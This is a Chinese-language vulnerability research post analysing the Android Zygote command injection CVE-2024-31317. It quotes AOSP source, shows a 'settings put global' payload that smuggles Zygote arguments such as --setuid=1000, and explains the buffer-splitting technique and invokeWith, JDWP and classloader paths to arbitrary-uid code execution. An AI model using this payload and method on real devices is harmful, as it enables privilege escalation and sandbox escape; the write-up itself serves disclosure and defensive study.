Monthly Archives: August 2024

魔形女再袭?最新Android通杀漏洞CVE-2024-31317分析与利用研究

摘要

本文分析了CVE-2024-31317这个Android用户态通杀漏洞的起因,并分享了笔者的利用研究和方法。通过这个漏洞,我们可以获取任意uid的权限,近似于突破Android沙箱获取任意app的权限。这个漏洞具有类似于笔者当年发现的魔形女漏洞(黑客奥斯卡Pwnie Award最佳提权漏洞)的效果,但又各有千秋。

漏洞缘起

数月之前,Meta X Red Team发表了两篇非常有意思的,可以用来提权到任意UID的Android Framework漏洞,其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp,但CVE-2024-31317仍然没有公开的详细分析和exp,虽然后者比前者有着更大的威力(能获取system-uid权限)。这个漏洞也颇为令人惊讶,因为这已经是2024年了,我们居然还能在Android的心脏组件(Zygote)中发现命令注入。

这让我们想起了当年我们所发现的mystique漏洞,这个漏洞同样能让攻击者获得任意uid的权限。需要注意的是,两个漏洞都有一定的前提条件,例如CVE-2024-31317需要WRITE_SECURE_SETTINGS 权限。虽然这个权限获取难度并不大,但理论上仍需要配合一个额外的漏洞,因为普通的 untrusted_app 无法获得该权限(但似乎在一些品牌的手机上普通应用似乎有一些方法可以直接获得该权限)。ADB shell原生具有这个权限,同样一些特殊预置签名应用也具有这个权限。

但这个逻辑漏洞的利用效果和普适性,仍然足以让我们觉得,这是继魔形女之后近年来最有价值的Android用户态漏洞。Meta的原文对该漏洞成因有非常好的分析,但对于利用过程和方式缺少关键细节,本文将基于我们的分析和理解对该漏洞进行详细的研究,并介绍完整的及一些新的利用方式,据我们所知,尚属首次公开。

附利用效果图,成功在获得system权限。目前厂商均已修复: demo

Detailed Analysis of this Vulnerability

虽然这个漏洞的核心是命令注入,但利用这个漏洞需要对Android系统有相当的了解,特别是Android的基石——Zygote fork机制是如何工作的,以及它和system_server如何交互。

Zygote与system_server的bootstrap流程

每个Android人员都知道Zygote会fork出Android中Java世界的所有进程,而对于system_server,它也不例外,如下图所示。

zygoteandsystemserver

Zygote进程实际上从system_server中接收指令,并根据指令孵化出子进程。这是通过ZygoteServer.java中的poll机制来实现的:

 Runnable runSelectLoop(String abiList) {
 //...
 if (pollIndex == 0) {
                        // Zygote server socket
                        ZygoteConnection newPeer = acceptCommandPeer(abiList);
                        peers.add(newPeer);
                        socketFDs.add(newPeer.getFileDescriptor());
                    } else if (pollIndex < usapPoolEventFDIndex) {
                        // Session socket accepted from the Zygote server socket

                        try {
                            ZygoteConnection connection = peers.get(pollIndex);
                            boolean multipleForksOK = !isUsapPoolEnabled()
                                    && ZygoteHooks.isIndefiniteThreadSuspensionSafe();
                            final Runnable command =
                                    connection.processCommand(this, multipleForksOK);

                            // TODO (chriswailes): Is this extra check necessary?
                            if (mIsForkChild) {
                                // We're in the child. We should always have a command to run at
                                // this stage if processCommand hasn't called "exec".
                                if (command == null) {
                                    throw new IllegalStateException("command == null");
                                }

                                return command;
                            } else {
                                // We're in the server - we should never have any commands to run.
                                if (command != null) {
                                    throw new IllegalStateException("command != null");
                                }

                                // We don't know whether the remote side of the socket was closed or
                                // not until we attempt to read from it from processCommand. This
                                // shows up as a regular POLLIN event in our regular processing
                                // loop.
                                if (connection.isClosedByPeer()) {
                                    connection.closeSocket();
                                    peers.remove(pollIndex);
                                    socketFDs.remove(pollIndex);
                                }
                            }
                        }
                        
                        //...
      Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
        ZygoteArguments parsedArgs;

随后进入到 processCommand 函数,这个函数是用于解析command buffer并提取出参数的核心函数。具体的格式在ZygoteArguments 中定义,我们接下来的工作很多就是需要围绕这个格式展开。

    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
  try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
            while (true) {
                try {
                    parsedArgs = ZygoteArguments.getInstance(argBuffer);
                    // Keep argBuffer around, since we need it to fork.
                } catch (IOException ex) {
                    throw new IllegalStateException("IOException on command socket", ex);
                }
               //...
                if (parsedArgs.mBootCompleted) {
                    handleBootCompleted();
                    return null;
                }

                if (parsedArgs.mAbiListQuery) {
                    handleAbiListQuery();
                    return null;
                }

                if (parsedArgs.mPidQuery) {
                    handlePidQuery();
                    return null;
                }
//...
                if (parsedArgs.mInvokeWith != null) {
                    try {
                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
                        childPipeFd = pipeFds[1];
                        serverPipeFd = pipeFds[0];
                        Os.fcntlInt(childPipeFd, F_SETFD, 0);
                        fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
                    } catch (ErrnoException errnoEx) {
                        throw new IllegalStateException("Unable to set up pipe for invoke-with",
                                errnoEx);
                    }
                }
//...
        if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
                    // Continue using old code for now. TODO: Handle these cases in the other path.
                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
                            parsedArgs.mBindMountAppStorageDirs,
                            parsedArgs.mBindMountSyspropOverrides);

                    try {
                        if (pid == 0) {
                            // in child
                            zygoteServer.setForkChild();

                            zygoteServer.closeServerSocket();
                            IoUtils.closeQuietly(serverPipeFd);
                            serverPipeFd = null;

                            return handleChildProc(parsedArgs, childPipeFd,
                                    parsedArgs.mStartChildZygote);
                        } else {
                            // In the parent. A pid < 0 indicates a failure and will be handled in
                            // handleParentProc.
                            IoUtils.closeQuietly(childPipeFd);
                            childPipeFd = null;
                            handleParentProc(pid, serverPipeFd);
                            return null;
                        }
                    } finally {
                        IoUtils.closeQuietly(childPipeFd);
                        IoUtils.closeQuietly(serverPipeFd);
                    }
                } else {
                    ZygoteHooks.preFork();
                    Runnable result = Zygote.forkSimpleApps(argBuffer,
                            zygoteServer.getZygoteSocketFileDescriptor(),
                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
                    if (result == null) {
                        // parent; we finished some number of forks. Result is Boolean.
                        // We already did the equivalent of handleParentProc().
                        ZygoteHooks.postForkCommon();
                        // argBuffer contains a command not understood by forksimpleApps.
                        continue;
                    } else {
                        // child; result is a Runnable.
                        zygoteServer.setForkChild();
                        return result;
                    }
                }
            }
        }
        //...
        if (parsedArgs.mApiDenylistExemptions != null) {
            return handleApiDenylistExemptions(zygoteServer,
                    parsedArgs.mApiDenylistExemptions);
      }

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
                                             @NonNull FileDescriptor zygoteSocket,
                                             int expectedUid,
                                             int minUid,
                                             @Nullable String firstNiceName) {
        boolean in_child =
                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
        if (in_child) {
            return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
        } else {
            return null;
        }
  }

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
               String firstNiceName) {
try {
    return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
            expectedUid, minUid, firstNiceName);

这是Zygote处理命令的最上层入口点,但魔鬼隐藏在细节中。在Android 12之后,Google在ZygoteCommandBuffer中实现了一个快速路径的C++解析器,即com_android_internal_os_ZygoteCommandBuffer.cpp。主要思想是,Zygote在processCommand中的外部循环之外,在nativeForkRepeatly中维护一个新的内部循环,用于提升启动app的效率。

nativeForkRepeatly同样在Command Socket上进行轮询,并重复处理从字节流解析出的称为 SimpleFork 的格式。这种SimpleFork实际上是只包含runtime-argssetuidsetgid等的zygote参数。读取过程中其他参数的发现会导致跳出此循环并回到processCommand中的外部循环,新的ZygoteCommandBuffer将被构建,循环重新开始,未识别的命令将被再次在外部循环中读取和解析。

System_server可能会向zygote发送各种命令,不仅是启动进程的命令,还包括修改一些全局环境值的命令,例如包含该漏洞代码的denylistexemptions,稍后我们会进一步详细说明。

而回到system_server本身,它的启动过程并不复杂,是由Zygote中的硬编码参数启动的——显然是因为,Zygote无法接收尚未存在的进程发来的命令,这是一个“先有鸡还是先有蛋”的问题,解决方法就是通过硬编码来启动system_server。

The Zygote command format

Zygote所接受的命令参数是一种类似于Length-Value对的格式,通过换行符进行分割,如下所示

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

协议的解析过程逻辑上大概是首先读取行数,随后根据行数一行行读取出每一行的内容。但是在Android12之后,由于一些buffer预读取的优化细节,极大地影响了这个exploit的方式,也就导致了本文的篇幅和漏洞利用难度的大幅增加。

The vulnerability itself

从前面的分析来看,我们可以发现Zygote只是盲目地去解析它从system_server接收到的buffer – 而不做额外的二次校验。这就给命令注入留下了空间:如果我们能够通过某种方式操纵system_server在command socket中写入攻击者可控的内容。

denylistexemptions 就提供了这种方式

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

无论hidden_api_blacklist_exemptions 因为什么原因被修改后,ContentObserver的callback会被触发,新写入的值会被读取并在解析后(主要根据逗号进行string split)直接写入到zygote command socket中。一个典型的命令注入。

利用socket特性实现全版本利用

Android12及以上版本所带来的困难

攻击者最初的想法是直接注入触发进程启动的新命令,如下所示:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

在Android11或者更早的版本这种payload是简单有效的,因为在这些版本中,Zygote是通过Java的 readLine 实现直接读取每一行,没有其他buffer实现影响。而在Android12中,情况变得非常复杂,命令解析现在由NativeCommandBuffer完成,这引入了一个核心区别,即该解析器在解析一次内容之后,对于未识别的trailing内容,它将丢弃缓冲区中的所有内容并退出,而不是留作下一次解析。这意味着命令注入的内容会被直接丢弃!

NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
            JNIEnv* env,
            jclass,
            jlong j_buffer,
            jint zygote_socket_fd,
            jint expected_uid,
            jint minUid,
            jstring managed_nice_name) {

 //...
  bool first_time = true;
  do {
    if (credentials.uid != static_cast<uid_t>(expected_uid)) {
      return JNI_FALSE;
    }
    n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
    n_buffer->reset();
    int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
                              /*args_known=*/ true, /*is_priority_fork=*/ true,
                              /*purge=*/ first_time);
    if (pid == 0) {
      return JNI_TRUE;
    }
//...
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();
      //...
      if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
        if (n_buffer->getCount(fail_fn_z) != 0) {
          break;
        }  // else disconnected;
      } else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
        fail_fn_z(
            CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
      }
      // We've now seen either a disconnect or connect request.
      close(session_socket);
   //...
    }
    first_time = false;
  } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
  ALOGW("forkRepeatedly terminated due to non-simple command");
  n_buffer->logState();
  n_buffer->reset();
  return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
    char* result = mBuffer + mNext;
    while (true) {
      // We have scanned up to, but not including mNext for this line's newline.
      if (mNext == mEnd) {
        if (mEnd == MAX_COMMAND_BYTES) {
          return {};
        }
        if (mFd == -1) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
        }
        ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
        if (nread <= 0) {
          if (nread == 0) {
            return {};
          }
          fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
        } else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
          // This is pessimistic by one character, but close enough.
          fail_fn("ZygoteCommandBuffer overflowed: command too long");
        }
        mEnd += nread;
      }
      // UTF-8 does not allow newline to occur as part of a multibyte character.
      char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
      if (nl == nullptr) {
        mNext = mEnd;
      } else {
        mNext = nl - mBuffer + 1;
        if (--mLinesLeft < 0) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
        }
        return std::make_pair(result, nl);
      }
    }
  }

nativeForkRepeatedly 函数的流程大致如下:在socket初始化设置完成后, n_buffer->readLines 会预先读取和缓冲所有的行 – 也就是目前 socket 中read所能够读取到的所有内容。接下来的reset 将buffer的当前读取指向移回到初始位置 – n_buffer 的随后操作会从头再解析这个buffer – 而不再重新触发socket read。一个子进程在被fork出之后,它会消费这个buffer来提取出自己的uid和gid并自行设置。父进程则会继续执行,并进入下面的for循环。这个for循环会持续监听对应socket的fd,并接收和重建传入链接(如果意外中断的话)

nativeForkRepeatedly

    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();

但这就是事情开始变得复杂和tricky的地方. n_buffer->clear(); 会丢弃掉当前buffer中所有的剩余内容(buffer大小在Android12(和鸿蒙4)上是12200,在之后的版本是32768)。这就会导致之前说的问题,注入的内容实质上会被直接丢弃掉,而不会进入下一轮解析。

所以这里的核心利用方法是如何将注入的内容拆分到不同的read中被读取。这理论上依赖于Linux内核的调度器,一般来说在对端拆分到不同的write,并且让他们间隔一定的时间绝大部分情况下可以达到这个目标。我们再回过头来看system_server中触发写入command socket的漏洞函数:

private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

mZygoteOutputWriter, 继承自 BufferedWriter, 其buffer大小是8192.

    public void write(int c) throws IOException {
        synchronized (lock) {
            ensureOpen();
            if (nextChar >= nChars)
                flushBuffer();
            cb[nextChar++] = (char) c;
        }
    }

这意味着只要没有显式地调用flush,对socket的write只会在这个bufferedWriter中积攒的内容到达defaultCharBufferSize 时触发。

需要注意的是,分离的write并不一定保证对端的分离read,因为内核可能会将socket的操作进行合并。Meta的作者提出了一种方法:通过大量的逗号来延长for循环中的消耗时间,来增加第一次socket write和第二次socket write(flush)中的时间间隔。根据不同机型的配置,comma的数量会需要调整,但注意整体长度不能超过CommandBuffer的最大大小 – 否则会引起Zygote abort。我们添加的commas会被string split解析为空行的array,并会被system_server首先写入一个对应的count,也就是下图的3001。但在zygote解析的过程,我们需要保证这个count在注入前后都需要和对应的行是匹配的。

所以最终的payload布局如下图所示:

payload

将exp进行完整组合

我们希望第一块布局的内容,也就是 13 之前的内容(下图中黄色部分)需要能够刚好触发BufferedWriter的8192限制,使其进行一次flush,最终触发socket的write。

payload1

Zygote在接收到这次请求时,应处于 com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly 中,刚处理完上一次 simpleFork ,block在 n_buffer→getCount(该语句的作用是从buffer中读取linecount)。在此次请求到来之后,getline会将socket中的内容全部读取到buffer中(注意不是一行一行读取),读取到 3001(line count),随后检测到不是 isSimpleForkCommand,退出 nativeForkRepeatedly 函数,返回到ZygoteConnection中processCommand函数。

ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
        zygoteServer.getZygoteSocketFileDescriptor(),
        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
    // parent; we finished some number of forks. Result is Boolean.
    // We already did the equivalent of handleParentProc().
    ZygoteHooks.postForkCommon();
    // argBuffer contains a command not understood by forksimpleApps.
    continue;

整体流程如下所示: exphandle1 这一整片8192大小的内容随后被传入到 ZygoteInit.setApiDenylistExemptions 中,后续与本漏洞已无关系。

注意在此时, 我们从zygote侧回到system_server侧,system_server仍处于maybeSetApiDenylistExemptions 函数的for循环中,刚刚被Zygote处理的8192块是这个函数的for循环第一次的write:

try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();

紧接的writer.write将写入核心的命令注入payload,随后这个for循环将继续循环3000(抑或其他指定的linecount-1)次,这样用以保证不会出现连续的socket write被内核merge为一次,导致在Zygote的read中超出了buffer大小限制后Zygote abort。

这些循环因为没有超出BufferedWriter的8192限制,在for循环中不会触发真正的socket write,而只是在flush时触发socket write。而在Zygote侧看来,他会在 ZygoteArguments.getInstance 中继续解析这个新的buffer,它目前所处理的即为下图中的绿色部分:

payload2

这个绿色部分会被一次read全部读取进buffer中,首先被处理的是13这个line count,随后就是被注入的攻击者完整可控的Zygote参数。

这次的 ZygoteArguments 只会包含这个buffer中的13行,而本次buffer中后面的内容(空行),因为会进入下一次的 ZygoteArguments.getInstance,在新建 ZygoteArguments 时,由于 ZygoteCommandBuffer 会再进行一次read,实质上会被忽略掉。

在控制了Zygote参数后,我们应当做什么?

通过以上繁复的工作后,我们成功达到了利用该漏洞稳定控制Zygote参数的目的。但我们仍然没有回答一个关键性的问题:控制了这些参数,能够用来做什么,或者如何用来提权?

这个问题乍听起来显而易见,但实际上仍有学问。

尝试#1:能否控制Zygote以某个uid来执行指定的包名?

如上所述,在看到Zygote示例参数时,这可能是我们的第一个想法,能否通过控制package-name和uid来达到这个目的?

很遗憾的是,实际上package-name对攻击者,或者对整个代码加载执行过程都没有什么意义。让我们回忆下Android App的加载流程: app-launch

并继续来看ApplicationThread的相关代码

   public static void main(String[] args) {
    //...
        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

可以看到,实际上apk的代码加载过程依赖于 startSeq ,这个参数在ActivityManagerService中维护有ApplicationRecord与startSeq的映射,会记录对应的loadApk,也就是具体的Apk文件与路径。

那我们退一步:

方法#1:能否控制以某个uid执行可控代码?

答案是肯定的。通过分析 ZygoteArguments 中的参数,我们发现 invokeWith 可以达到这个目的

public static void execApplication(String invokeWith, String niceName,
        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
        String[] args) {
    StringBuilder command = new StringBuilder(invokeWith);

    final String appProcess;
    if (VMRuntime.is64BitInstructionSet(instructionSet)) {
        appProcess = "/system/bin/app_process64";
    } else {
        appProcess = "/system/bin/app_process32";
    }
    command.append(' ');
    command.append(appProcess);

    // Generate bare minimum of debug information to be able to backtrace through JITed code.
    // We assume that if the invoke wrapper is used, backtraces are desirable:
    //  * The wrap.sh script can only be used by debuggable apps, which would enable this flag
    //    without the script anyway (the fork-zygote path).  So this makes the two consistent.
    //  * The wrap.* property can only be used on userdebug builds and is likely to be used by
    //    developers (e.g. enable debug-malloc), in which case backtraces are also useful.
    command.append(" -Xcompiler-option --generate-mini-debug-info");

    command.append(" /system/bin --application");
    if (niceName != null) {
        command.append(" '--nice-name=").append(niceName).append("'");
    }
    command.append(" com.android.internal.os.WrapperInit ");
    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
    command.append(' ');
    command.append(targetSdkVersion);
    Zygote.appendQuotedShellArgs(command, args);
    preserveCapabilities();
    Zygote.execShell(command.toString());
}

这段代码即为将 mInvokeWith 与后续参数拼接后,通过 execShell 进行执行。我们只需要将这个参数指向一个攻击者可控的elf或者shell脚本即可,且需要是Zygote可读取的。

然而,我们还需要关注SELinux和AppData Directory权限的限制,即使攻击者将一个私有目录中的文件设为全局可读可执行,它也无法被Zygote所访问和执行到。为了解决这个问题,我们参照我们在魔形女漏洞利用中的技巧:使用app-lib目录中的文件。

然而,这个利用方式仍存在一个问题:拿到一个uid的shell并不等于直接进程内代码执行,如果我们想进一步进行hook、代码注入的话,这种利用方式会需要一个额外的代码覆盖执行跳板,但并不是每个app都有此特性,且Android14进一步引入了DCL限制

那么这个目标是否可以进一步实现?

方法#2:借用jdwp flag

我们在此提出了一个新的思路: ZygoteArgumentsruntime-flags 字段,实际上可以用来开启一个application的debuggable属性

static void applyDebuggerSystemProperty(ZygoteArguments args) {
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
        // Also enable ptrace when JDWP is enabled for consistency with
        // before persist.debug.ptrace.enabled existed.
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
}

借用我们在尝试#1中的分析,我们可以通过控制一个匹配system_server中已有记录的startSeq,来完成一次完整的app启动流程,但这个app进程的flags已经被我们修改为开启了debuggable属性,攻击者可以进一步使用jdb来获取进程内执行权限。

但这带来了一个问题,如何预测 startSeq ? ActivityManagerService对这个参数有着严格的校验

private void attachApplicationLocked(@NonNull IApplicationThread thread,
        int pid, int callingUid, long startSeq) {
    // Find the application record that is being attached...  either via
    // the pid if we are running in multiple processes, or just pull the
    // next app record if we are emulating process with anonymous threads.
    ProcessRecord app;
    long startTime = SystemClock.uptimeMillis();
    long bindApplicationTimeMillis;
    long bindApplicationTimeNanos;
    if (pid != MY_PID && pid >= 0) {
        synchronized (mPidsSelfLocked) {
            app = mPidsSelfLocked.get(pid);
        }
        if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
            String processName = null;
            final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
            if (pending != null) {
                processName = pending.processName;
            }
            final String msg = "attachApplicationLocked process:" + processName
                    + " startSeq:" + startSeq
                    + " pid:" + pid
                    + " belongs to another existing app:" + app.processName
                    + " startSeq:" + app.getStartSeq();
            Slog.wtf(TAG, msg);
            // SafetyNet logging for b/131105245.
            EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
            // If there is already an app occupying that pid that hasn't been cleaned up
            cleanUpApplicationRecordLocked(app, pid, false, false, -1,
                    true /*replacingPid*/, false /* fromBinderDied */);
            removePidLocked(pid, app);
            app = null;
        }
    } else {
        app = null;
    }

    // It's possible that process called attachApplication before we got a chance to
    // update the internal state.
    if (app == null && startSeq > 0) {
        final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
        if (pending != null && pending.getStartUid() == callingUid
                && pending.getStartSeq() == startSeq
                && mProcessList.handleProcessStartedLocked(pending, pid,
                    pending.isUsingWrapper(), startSeq, true)) {
            app = pending;
        }
    }

    if (app == null) {
        Slog.w(TAG, "No pending application record for pid " + pid
                + " (IApplicationThread " + thread + "); dropping process");
        EventLogTags.writeAmDropProcess(pid);
        if (pid > 0 && pid != MY_PID) {
            killProcessQuiet(pid);
            //TODO: killProcessGroup(app.info.uid, pid);
            // We can't log the app kill info for this process since we don't
            // know who it is, so just skip the logging.
        } else {
            try {
                thread.scheduleExit();
            } catch (Exception e) {
                // Ignore exceptions.
            }
        }
        return;
    }

未找到的、不匹配的startSeq会导致进程被直接杀掉。startSeq整体上是自增的,在每一次app启动的时候+1。 那攻击者如何获取,或者猜测到当前的startSeq?

对于这个问题,我们的解决方案是先行安装一个攻击者控制的应用,通过栈帧搜索找到当前的startSeq:

startseq-search

整体利用流程如下(在11及以前的版本): expbefore11 在Android11上的攻击效果如图:

jdwp-11

可以看到我们启动了settings进程,并使其可调试注入(有jdwp线程存在)。利用JDWP进行代码注入的方式可以参考笔者之前的文章。另注,截图所示方法在12及以上的版本我们没有进行适配,读者可自行研究。

其他利用方法

目前来看,方法一简单直接可拿到任意uid的shell,但无法直接实现代码注入加载。方法二可实现代码注入加载,但需要使用jdwp协议。是否有更好的办法?

或许我们可以通过修改注入参数的类名:也就是之前的 android.app.ActivityThread ,来指向其他的gadgetClass,例如 WrapperInit.wrapperinit

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
    // If the application calls System.exit(), terminate the process
    // immediately without running any shutdown hooks.  It is not possible to
    // shutdown an Android application gracefully.  Among other things, the
    // Android runtime shutdown hooks close the Binder driver, which can cause
    // leftover running threads to crash before the process actually exits.
    nativeSetExitWithoutCleanup(true);

    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

    final Arguments args = new Arguments(argv);

    // The end of of the RuntimeInit event (see #zygoteInit).
    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

    // Remaining arguments are passed to the start class's static main
    return findStaticMain(args.startClass, args.startArgs, classLoader);
}

似乎通过WrapperInit,我们可以控制classLoader来注入我们的class,可实现期待的效果。

private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
    if (RuntimeInit.DEBUG) {
        Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
    }

    // Check whether the first argument is a "-cp" in argv, and assume the next argument is the
    // classpath. If found, create a PathClassLoader and use it for applicationInit.
    ClassLoader classLoader = null;
    if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
        classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

        // Install this classloader as the context classloader, too.
        Thread.currentThread().setContextClassLoader(classLoader);

        // Remove the classpath from the arguments.
        String removedArgs[] = new String[argv.length - 2];
        System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
        argv = removedArgs;
    }
    // Perform the same initialization that would happen after the Zygote forks.
    Zygote.nativePreApplicationInit();
    return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
            argv, classLoader);
}

具体利用方式留待感兴趣的读者进一步实践。

总结

本文分析了CVE-2024-31317漏洞的起因,并分享了我们的利用研究和方法。这个漏洞具有类似于当年我们发现的魔形女漏洞的效果,但又各有长短。通过这个漏洞,我们可以获取任意uid的权限,近似于突破Android沙箱获取任意app的权限。

致谢

